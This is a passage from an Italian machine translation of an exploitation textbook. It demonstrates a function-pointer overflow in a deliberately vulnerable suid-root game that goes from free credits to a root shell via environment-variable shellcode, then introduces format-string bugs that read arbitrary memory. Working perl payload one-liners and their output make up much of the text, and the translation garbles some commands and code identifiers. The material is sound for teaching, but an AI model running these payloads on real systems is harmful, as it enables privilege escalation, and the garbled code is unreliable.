AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBBB
lettore @ hacking: ~ / booksrc $ fg
./game_of_chance
5

Cambia nome utente

158 0x300

Pagina 173

Inserisci il tuo nuovo nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Il tuo nome è stato cambiato.

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[Hai 60 crediti] -> 1

[DEBUG] puntatore current_game @ 0x42424242


Errore di segmentazione
lettore @ hacking: ~ / booksrc $

Selezionare l'opzione di menu 5 per modificare il nome utente e incollare l'overflow


buffer. Questo sovrascriverà il puntatore alla funzione con 0x42424242 . Quando menu
l'opzione 1 è selezionata di nuovo, il programma andrà in crash quando proverà a chiamare il file
puntatore a funzione. Questa è la prova che l'esecuzione può essere controllata; ora tutto
è necessario un indirizzo valido da inserire al posto di BBBB .
Il comando nm elenca i simboli nei file oggetto. Questo può essere usato per trovare
indirizzi di varie funzioni in un programma.

lettore @ hacking: ~ / booksrc $ nm game_of_chance


0804b508 d _DYNAMIC
0804b5d4 d _GLOBAL_OFFSET_TABLE_
080496c4 R _IO_stdin_used
w _Jv_RegisterClasses
0804b4f8 d __CTOR_END__
0804b4f4 d __CTOR_LIST__
0804b500 d __DTOR_END__
0804b4fc d __DTOR_LIST__
0804a4f0 r __FRAME_END__
0804b504 d __JCR_END__
0804b504 d __JCR_LIST__
0804b630 A __bss_start
0804b624 D __data_start
08049670 t __do_global_ctors_aux
08048610 t __do_global_dtors_aux
0804b628 D __dso_handle
w __gmon_start__
08049669 T __i686.get_pc_thunk.bx
0804b4f4 d __init_array_end
0804b4f4 d __init_array_start
080495f0 T __libc_csu_fini
08049600 T __libc_csu_init
U __libc_start_main @@ GLIBC_2.0

Sfruttamento 159

Pagina 174

0804b630 A _edata
0804b6d4 A _end
080496a0 T _fini
080496c0 R _fp_hw
08048484 T _init
080485c0 T _start
080485e4 t call_gmon_start
Chiudi @@ GLIBC_2.0
0804b640 b completato 1
0804b624 W data_start
080490d1 T dealer_no_match
080486fc T dump
080486d1 T ec_malloc
U exit @@ GLIBC_2.0
08048684 T fatale
080492bf T find_the_ace
08048650 t frame_dummy
080489cc T get_player_data
U getuid @@ GLIBC_2.0
08048d97 T nome_ingresso
08048d70 jackpot T.
08048803 T principale
U malloc @@ GLIBC_2.0
Apri @@ GLIBC_2.0
0804b62c d p.0
U perror @@ GLIBC_2.0
08048fde T pick_a_number
08048f23 T play_the_game
0804b660 lettore B.
08048df8 T print_cards
U printf @@ GLIBC_2.0
U rand @@ GLIBC_2.0
U leggi @@ GLIBC_2.0
08048aaf T register_new_player
U scanf @@ GLIBC_2.0
08048c72 T show_highscore
U srand @@ GLIBC_2.0
U strcpy @@ GLIBC_2.0
U strncat @@ GLIBC_2.0
08048e91 T take_wager
Ora U @@ GLIBC_2.0
08048b72 T update_player_data
Scrivi @@ GLIBC_2.0
lettore @ hacking: ~ / booksrc $

La funzione jackpot () è un obiettivo meraviglioso per questo exploit. Nonostante


i giochi danno probabilità terribili, se il puntatore alla funzione current_game è attentamente
sovrascritto con l'indirizzo della funzione jackpot () , non sarà nemmeno necessario
gioca per vincere crediti. Invece, la funzione jackpot () verrà semplicemente chiamata
direttamente, distribuendo la ricompensa di 100 crediti e ribaltando la bilancia nel file
direzione del giocatore.
Questo programma prende il suo input dallo standard input. Le selezioni di menu
può essere inserito in uno script in un singolo buffer che viene reindirizzato allo standard del programma

160 0x300
Pagina 175

ingresso. Queste selezioni verranno effettuate come se fossero state digitate. Il seguente
esempio sceglierà la voce di menu 1, prova a indovinare il numero 7, seleziona n quando
chiesto di riprodurre di nuovo e infine selezionare la voce di menu 7 per uscire.

reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n7 \ nn \ n7 \ n"' | ./game_of_chance


- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 60 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: il numero vincente è 20
Scusa, non hai vinto.

Ora hai 50 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 50 crediti] ->
Grazie per aver giocato! Ciao.
lettore @ hacking: ~ / booksrc $

Questa stessa tecnica può essere utilizzata per scrivere tutto il necessario per il file
sfruttare. La riga seguente giocherà al gioco Scegli un numero una volta, quindi
cambia il nome utente in 100 A seguito dall'indirizzo del jackpot ()
funzione. Questo overflow il puntatore alla funzione current_game , quindi quando
il gioco Pick a Number viene giocato di nuovo, viene chiamata la funzione jackpot ()
direttamente.

reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ nn \ n "." 7 \ n "'
1
5

Sfruttamento 161

Pagina 176

n
5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAp?
1
n
7
reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ nn \ n "." 7 \ n "'| ./game_of_chance
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 50 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: il numero vincente è 15
Scusa, non hai vinto.

Ora hai 40 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 40 crediti] ->
Cambia nome utente
Inserisci il tuo nuovo nome: il tuo nome è stato cambiato.

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 40 crediti] ->

162 0x300

Pagina 177

[DEBUG] puntatore current_game @ 0x08048d70


* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 140 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 140 crediti] ->
Grazie per aver giocato! Ciao.
lettore @ hacking: ~ / booksrc $

Dopo aver confermato che questo metodo funziona, può essere esteso a
guadagnare un numero qualsiasi di crediti.

reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ n "." y \ n "x10." n \ n5 \ nJon Erickson \ n7 \ n "'| ./
game_of_chance
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 140 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: il numero vincente è 1
Scusa, non hai vinto.

Ora hai 130 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente

Sfruttamento 163

Pagina 178

6 - Reimposta il tuo account a 100 crediti


7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 130 crediti] ->
Cambia nome utente
Inserisci il tuo nuovo nome: il tuo nome è stato cambiato.

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 130 crediti] ->
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 230 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!
Ora hai 330 crediti
Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 430 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 530 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 630 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

164 0x300

Pagina 179

Ora hai 730 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 830 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 930 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 1030 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 1130 crediti


Ti piacerebbe giocare di nuovo? (sì / no)
[DEBUG] puntatore current_game @ 0x08048d70
* + * + * + * + * + * JACKPOT * + * + * + * + * + *
Hai vinto il jackpot di 100 crediti!

Ora hai 1230 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 1230 crediti] ->
Cambia nome utente
Inserisci il tuo nuovo nome: il tuo nome è stato cambiato.

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci

Sfruttamento 165

Pagina 180

[Nome: Jon Erickson]


[Hai 1230 crediti] ->
Grazie per aver giocato! Ciao.
lettore @ hacking: ~ / booksrc $

Come avrai già notato, questo programma esegue anche suid root.
Ciò significa che lo shellcode può essere utilizzato per fare molto di più che vincere crediti gratuiti. Come
con l'overflow basato su stack, lo shellcode può essere nascosto in un ambiente
variabile. Dopo aver creato un buffer di exploit adatto, il buffer viene reindirizzato al file
input standard di game_of_chance. Notare l'argomento trattino che segue il
buffer di exploit nel comando cat. Questo dice al programma cat di inviare standard
input dopo l'exploit buffer, restituendo il controllo dell'input. Nonostante
la shell di root non mostra il suo prompt, è ancora accessibile e continua ad aumentare
privilegi.

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat ./shellcode.bin)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE sarà a 0xbffff9e0
reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n7 \ nn \ n5 \ n". "A" x100. "\ xe0 \
xf9 \ xff \ xbf \ n "." 1 \ n "'> exploit_buffer
reader @ hacking: ~ / booksrc $ cat exploit_buffer - | ./game_of_chance
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 70 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: il numero vincente è 2
Scusa, non hai vinto.

Ora hai 60 crediti


Ti piacerebbe giocare di nuovo? (y / n) - = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti

166 0x300

Pagina 181

7 - Esci
[Nome: Jon Erickson]
[Hai 60 crediti] ->
Cambia nome utente
Inserisci il tuo nuovo nome: il tuo nome è stato cambiato.

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 60 crediti] ->
[DEBUG] puntatore current_game @ 0xbffff9e0

chi sono
radice
id
uid = 0 (root) gid = 999 (lettore)
gruppi = 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (
plugdev), 104 (scanner), 112 (netdev), 113 (lpadmin), 115 (powerdev), 117 (admin), 999 (re
ader)

Stringhe di formato 0x350

Un exploit della stringa di formato è un'altra tecnica che puoi utilizzare per ottenere il controllo
un programma privilegiato. Come gli exploit di overflow del buffer, anche gli exploit della stringa di formato
dipendono da errori di programmazione che potrebbero non sembrare evidenti
impatto sulla sicurezza. Fortunatamente per i programmatori, una volta che la tecnica è nota,
è abbastanza facile individuare le vulnerabilità delle stringhe di formato ed eliminarle.
Sebbene le vulnerabilità delle stringhe di formato non siano più molto comuni, il
le seguenti tecniche possono essere utilizzate anche in altre situazioni.

Parametri di formato 0x351


A questo punto dovresti avere abbastanza familiarità con le stringhe di formato di base. Loro hanno
è stato ampiamente utilizzato con funzioni come printf () nei programmi precedenti.
Una funzione che utilizza stringhe di formato, come printf () , valuta semplicemente il file
stringa di formato passata ad esso ed esegue un'azione speciale ogni volta che un formato
viene rilevato il parametro. Ogni parametro di formato prevede un file
variabile da passare, quindi se ci sono tre parametri di formato in un formato
stringa, dovrebbero esserci altri tre argomenti per la funzione (in aggiunta
all'argomento della stringa di formato).
Richiama i vari parametri di formato spiegati nel capitolo precedente.

Sfruttamento 167

Pagina 182
Parametro Tipo di ingresso Tipo di uscita

%d Valore Decimale

%u Valore Decimale senza segno

%X Valore Esadecimale

%S Pointer Corda

%n Pointer Numero di byte scritti finora

Il capitolo precedente ha dimostrato l'uso del più comune


parametri di formato, ma trascurato il parametro di formato % n meno comune .
Il codice fmt_uncommon.c dimostra il suo utilizzo.

fmt_uncommon.c

#include <stdio.h>
#include <stdlib.h>

int main () {
int A = 5, B = 7, count_one, count_two;

// Esempio di una stringa di formato% n


printf ("Il numero di byte scritti fino a questo punto X% n viene memorizzato
count_one, e il numero di byte fino a qui X% n viene memorizzato
count_two. \ n ", & count_one, & count_two);

printf ("count_one:% d \ n", count_one);


printf ("count_two:% d \ n", count_two);

// Esempio di stack
printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A, B);

uscita (0);
}

Questo programma utilizza due parametri di formato % n nella sua istruzione printf () .
Quello che segue è l'output della compilazione e dell'esecuzione del programma.

lettore @ hacking: ~ / booksrc $ gcc fmt_uncommon.c


lettore @ hacking: ~ / booksrc $ ./a.out
Il numero di byte scritti fino a questo punto X viene memorizzato in count_one e il numero di
byte fino a qui X viene memorizzato in count_two.
count_one: 46
count_two: 113
A è 5 ed è bffff7f4. B è 7.
lettore @ hacking: ~ / booksrc $

Il parametro di formato % n è unico in quanto scrive i dati senza display-


fare qualsiasi cosa, invece di leggere e poi visualizzare i dati. Quando un formato
rileva un parametro di formato % n , scrive il numero di byte che
sono stati scritti dalla funzione all'indirizzo nella funzione corrispondente
argomento dell'azione. In fmt_uncommon , questo viene fatto in due punti e l'unario

168 0x300

Pagina 183

L'operatore indirizzo viene utilizzato per scrivere questi dati nelle variabili count_one e
count_two ,rispettivamente. I valori vengono quindi emessi, rivelando quei 46 byte
si trovano prima del primo % ne 113 prima del secondo.
L'esempio di stack alla fine è un comodo seguito in una spiegazione
del ruolo dello stack con stringhe di formato:

printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A, B);

Quando viene chiamata questa funzione printf () (come con qualsiasi funzione), l'argomento
le menti vengono inserite nella pila in ordine inverso. Prima il valore di B , poi il
indirizzo di A , quindi il valore di A e infine l'indirizzo della stringa di formato.
Lo stack apparirà come il diagramma qui.
La funzione di formattazione esegue l'iterazione del file In cima alla pila

stringa di formato un carattere alla volta. Se la


Indirizzo della stringa di formato
il carattere non è l'inizio di un formato
parametro (che è designato dal Valore di A

segno di centesimo), il carattere viene copiato nel file


Indirizzo di A
produzione. Se viene rilevato un parametro di formato,
viene intrapresa l'azione appropriata, utilizzando il Valore di B

argomento nello stack corrispondente a quello


Parte inferiore della pila
parametro.
Ma cosa succede se vengono spinti solo due argomenti
allo stack con una stringa di formato che ne utilizza tre
parametri di formato? Prova a rimuovere l'ultimo argomento da printf ()
riga per l'esempio dello stack in modo che corrisponda alla riga mostrata di seguito.

printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A);

Questo può essere fatto in un editor o con un po 'di magia sed .

reader @ hacking: ~ / booksrc $ sed -e 's /, B) /) /' fmt_uncommon.c> fmt_uncommon2.c


lettore @ hacking: ~ / booksrc $ diff fmt_uncommon.c fmt_uncommon2.c
14c14
<printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A, B);
---
> printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A);
lettore @ hacking: ~ / booksrc $ gcc fmt_uncommon2.c
lettore @ hacking: ~ / booksrc $ ./a.out
Il numero di byte scritti fino a questo punto X viene memorizzato in count_one e il numero di
byte fino a qui X viene memorizzato in count_two.
count_one: 46
count_two: 113
A è 5 ed è a bffffc24. B è b7fd6ff4.
lettore @ hacking: ~ / booksrc $
Il risultato
non c'era è b7fd6ff4
un valore inserito. Che
nellodiavolo è b7fd6ff4
stack, la funzione ? Si
di scopre che da allora
formattazione ha semplicemente estratto i dati
da dove avrebbe dovuto essere il terzo argomento (aggiungendo alla corrente
puntatore fotogramma). Ciò significa che 0xb7fd6ff4 è il primo valore trovato sotto il file
stack frame per la funzione di formattazione.

Sfruttamento 169

Pagina 184

Questo è un dettaglio interessante che dovrebbe essere ricordato. Certamente


sarebbe molto più utile se ci fosse un modo per controllare uno dei due numeri
di argomenti passati o attesi da una funzione di formattazione. Fortunatamente, esiste un file
errore di programmazione abbastanza comune che consente quest'ultimo.

0x352 Vulnerabilità della stringa di formato


A volte i programmatori usano printf (string) invece di printf ("% s", string) to
stringhe di stampa. Funzionalmente, funziona bene. Alla funzione di formattazione viene passato il file
indirizzo della stringa, al contrario dell'indirizzo di una stringa di formato, e itera
attraverso la stringa, stampando ogni carattere. Esempi di entrambi i metodi sono
mostrato in fmt_vuln.c.

fmt_vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char * argv []) {


testo carattere [1024];
static int test_val = -72;

if (argc <2) {
printf ("Utilizzo:% s <testo da stampare> \ n", argv [0]);
uscita (0);
}
strcpy (testo, argv [1]);

printf ("Il modo giusto per stampare l'input controllato dall'utente: \ n");
printf ("% s", testo);

printf ("\ nIl modo sbagliato di stampare l'input controllato dall'utente: \ n");
printf (testo);

printf ("\ n");

// Debug dell'output
printf ("[*] test_val @ 0x% 08x =% d 0x% 08x \ n", & test_val, test_val,
test_val);

uscita (0);
}

Il seguente output mostra la compilazione e l'esecuzione di fmt_vuln.c.

lettore @ hacking: ~ / booksrc $ gcc -o fmt_vuln fmt_vuln.c


lettore @ hacking: ~ / booksrc $ sudo chown root: root ./fmt_vuln
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./fmt_vuln
reader @ hacking: ~ / booksrc $ ./fmt_vuln testing
Il modo giusto per stampare l'input controllato dall'utente:
test

170 0x300

Pagina 185

Il modo sbagliato per stampare l'input controllato dall'utente:


test
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $

Entrambi i metodi sembrano funzionare con il test delle stringhe . Ma cosa succede se
la stringa contiene un parametro di formato? La funzione di formattazione dovrebbe provare a
valutare il parametro di formato e accedere all'argomento della funzione appropriato
aggiungendo al puntatore del fotogramma. Ma come abbiamo visto prima, se appropriato
l'argomento della funzione non è presente, l'aggiunta al puntatore del fotogramma farà riferimento a un file
pezzo di memoria in uno stack frame precedente.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln test% x


Il modo giusto per stampare l'input controllato dall'utente:
test% x
Il modo sbagliato per stampare l'input controllato dall'utente:
testingbffff3e0
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $

Quando è stato utilizzato il parametro di formato % x , la rappresentazione esadecimale


È stata stampata una parola di quattro byte nello stack. Questo processo può essere utilizzato
ripetutamente per esaminare la memoria dello stack.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "% 08x." x40')


Il modo giusto per stampare l'input controllato dall'utente:
% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x .% 08x.% 08x.
% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x .% 08x.% 08x.
% 08x.% 08x.
Il modo sbagliato per stampare l'input controllato dall'utente:
bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252
e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2
52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e78
38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $

Questo è l'aspetto della memoria dello stack inferiore. Ricordalo ciascuno


la parola di quattro byte è all'indietro, a causa dell'architettura Little Endian. I byte
0x25 , 0x30 , 0x38 , 0x78 e 0x2e sembrano ripetersi molto. Mi chiedo cosa siano quelli
i byte sono?

lettore @ hacking: ~ / booksrc $ printf "\ x25 \ x30 \ x38 \ x78 \ x2e \ n"
% 08x.
lettore @ hacking: ~ / booksrc $

Come puoi vedere, sono la memoria per la stringa di formato stessa. Perché
la funzione di formattazione sarà sempre sullo stack frame più alto, purché il file
la stringa di formato è stata memorizzata ovunque nello stack, si troverà sotto
il puntatore del fotogramma corrente (a un indirizzo di memoria più alto). Questo fatto può essere
utilizzato per controllare gli argomenti della funzione di formattazione. È particolarmente utile se
parametri di formato che passano riferimento vengono utilizzati, come % s o % n .

Sfruttamento 171

Pagina 186

0x353 Lettura da indirizzi di memoria arbitrari


Il parametro di formato % s può essere utilizzato per leggere da indirizzi di memoria arbitrari.
Poiché è possibile leggere i dati della stringa di formato originale, parte del file
la stringa del formato originale può essere utilizzata per fornire un indirizzo al formato % s
parametro, come mostrato qui:

lettore @ hacking: ~ / booksrc $ ./fmt_vuln AAAA% 08x.% 08x.% 08x.% 08x


Il modo giusto per stampare l'input controllato dall'utente:
AAAA% 08x.% 08x.% 08x.% 08x
Il modo sbagliato per stampare l'input controllato dall'utente:
AAAAbffff3d0.b7fe75fc.00000000.41414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $

I quattro byte di 0x41 indicano che il quarto parametro di formato è


lettura dall'inizio della stringa di formato per ottenere i suoi dati. Se il quarto
il parametro di formato è % s invece di % x , la funzione di formattazione tenterà di stampare
la stringa situata in 0x41414141 . Questo farà sì che il programma si blocchi in un segmento
errore di mentazione, poiché questo non è un indirizzo valido. Ma se un indirizzo di memoria valido
viene utilizzato, questo processo potrebbe essere utilizzato per leggere una stringa trovata in quella memoria
indirizzo.

lettore @ hacking: ~ / booksrc $ env | grep PATH


PERCORSO = / usr / local / sbin: / usr / local / bin: / usr / sbin: / usr / bin: / sbin: / bin: / usr / games
lettore @ hacking: ~ / booksrc $ ./getenvaddr PERCORSO ./fmt_vuln
PATH sarà a 0xbffffdd7
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ xd7 \ xfd \ xff \ xbf")% 08x.% 08x.% 08x.% s
Il modo giusto per stampare l'input controllato dall'utente:
????% 08x.% 08x.% 08x.% S
Il modo sbagliato per stampare l'input controllato dall'utente:
???? bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr / giochi
[*] test_val @ 0x08049794 = -72 0xffffffb8
